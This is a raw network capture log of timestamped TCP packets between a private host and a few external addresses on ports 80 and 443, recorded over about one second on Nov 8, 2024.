Nov 8, 2024 15:21:11.062704086 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.062704086 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.063977003 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.063992023 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.064027071 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.064033985 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.064057112 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.064070940 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.064882040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.064989090 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.069998980 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070010900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070017099 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070096970 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.070096970 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.070693016 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070704937 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070719957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070732117 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070739031 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.070753098 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070765018 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070775032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070786953 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070795059 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.070795059 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.070800066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070821047 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.070825100 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.070852041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.070852041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.070872068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.071798086 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.071809053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.071870089 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.088943958 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.088977098 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.089032888 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.089049101 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.089096069 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.089123964 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.089555979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.089566946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.089634895 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.089634895 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.093430996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.093447924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.093460083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.093486071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.093508959 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.161988020 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.162053108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.162065983 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.162094116 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.162173033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.162235975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.162246943 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.162286043 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.162384033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.162602901 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.162703037 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.162713051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.162741899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.162753105 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.162754059 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.162826061 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.163017035 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.163033962 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.163050890 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.163074017 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.163074017 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.163103104 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.163728952 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.163739920 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.163798094 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.165112019 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.165132999 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.172945976 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.172971010 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.173209906 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.203340054 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.203366995 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.203377008 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.203423977 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.203423977 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.204622030 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.204722881 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.204952955 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.204967976 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.205108881 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.207334995 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.207353115 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.207391024 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.207405090 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.207465887 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.207465887 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.248024940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.248040915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.248094082 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.248735905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.248748064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.248893023 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.316659927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.316677094 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.316694975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.316715956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.316745996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.316745996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.316781044 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.317092896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.317145109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.317157030 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.317217112 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.317245007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.317259073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.317279100 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.317337990 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.317363024 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.317672968 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.317847013 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.317893028 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.317904949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.317944050 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.317944050 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.318022966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.318037033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.318063021 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.318068981 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.318084002 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.318099022 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.323357105 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.323384047 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.323426962 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.323445082 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.323457003 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.323479891 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.358345985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.358362913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.358376026 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.358406067 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.358428955 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.358459949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.358475924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.358551979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.358611107 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.401654005 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.401671886 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.401725054 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.401742935 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.401851892 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.402497053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.402509928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.402525902 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.402553082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.402561903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.402565002 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.402591944 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.402591944 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.403240919 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.403253078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.403342009 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.441432953 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.441451073 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.441503048 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.441525936 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.441669941 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.456715107 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:11.460026979 CET	49788	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:11.460052967 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:11.460706949 CET	49788	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:11.460712910 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:11.460767031 CET	49788	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:11.460777998 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:11.471364021 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.471398115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.471410036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.471457005 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.471513987 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.471766949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.471791029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.471808910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.471832991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.471883059 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.471906900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.471919060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.471982956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.471999884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.472033978 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.472065926 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.473299026 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.473334074 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.473350048 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.473414898 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.473428011 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.473448992 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.473463058 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.473527908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.473527908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.585572004 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.585596085 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.585669994 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.585686922 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.585916996 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.586425066 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.586486101 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.586488008 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.586499929 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.586529970 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.586535931 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.586566925 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.586770058 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.586781025 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.712095022 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.712115049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.712126017 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.712184906 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.712224007 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.715308905 CET	49790	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.715356112 CET	443	49790	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.715440989 CET	49790	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.716607094 CET	49790	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.716614962 CET	443	49790	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.781511068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.781537056 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.781565905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.781582117 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.781605005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.781620979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.781636000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.781636000 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.781677961 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.781721115 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.781991959 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.782011032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.782027960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.782064915 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.782116890 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.782134056 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.782157898 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.782341003 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.782407999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.782426119 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.782484055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.782489061 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.782500982 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.782555103 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.782622099 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.782638073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.782654047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.782679081 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.782711029 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.782746077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.783121109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.783138990 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.783155918 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.783191919 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.783205986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.783509970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.783526897 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.783540964 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.783555031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.783571005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.783592939 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.783607006 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.783621073 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.783621073 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.783623934 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.783653021 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.783694983 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.845751047 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:11.845777988 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:11.845824957 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:11.845870972 CET	49788	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:11.845895052 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:11.845932961 CET	49788	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:11.846314907 CET	49788	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:11.846323013 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:11.846339941 CET	49788	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:11.846491098 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:11.846523046 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:11.846707106 CET	49788	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:11.866141081 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.866172075 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.866188049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.866214037 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.866239071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.936083078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.936156034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.936171055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.936261892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.936279058 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.936315060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.936315060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.936315060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.936616898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.936641932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.936683893 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.936683893 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.937505007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.937568903 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.937581062 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.937658072 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.937671900 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.937671900 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.937691927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.937746048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.937771082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.937783003 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.937901020 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.937901020 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.938822985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.938950062 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.020916939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.020935059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.020951033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.021025896 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.021070004 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.025049925 CET	49793	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.025099039 CET	443	49793	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.025401115 CET	49793	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.025497913 CET	49794	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.025536060 CET	443	49794	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.025592089 CET	49794	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.025782108 CET	49795	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.025799036 CET	443	49795	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.025856018 CET	49795	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.026016951 CET	49796	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.026073933 CET	443	49796	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.026165009 CET	49797	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.026190042 CET	443	49797	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.026201010 CET	49796	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.026444912 CET	49797	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.026639938 CET	49793	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.026659966 CET	443	49793	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.026803017 CET	49794	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.026823044 CET	443	49794	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.027040005 CET	49795	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.027053118 CET	443	49795	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.027282953 CET	49796	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.027303934 CET	443	49796	13.107.246.57	192.168.2.8
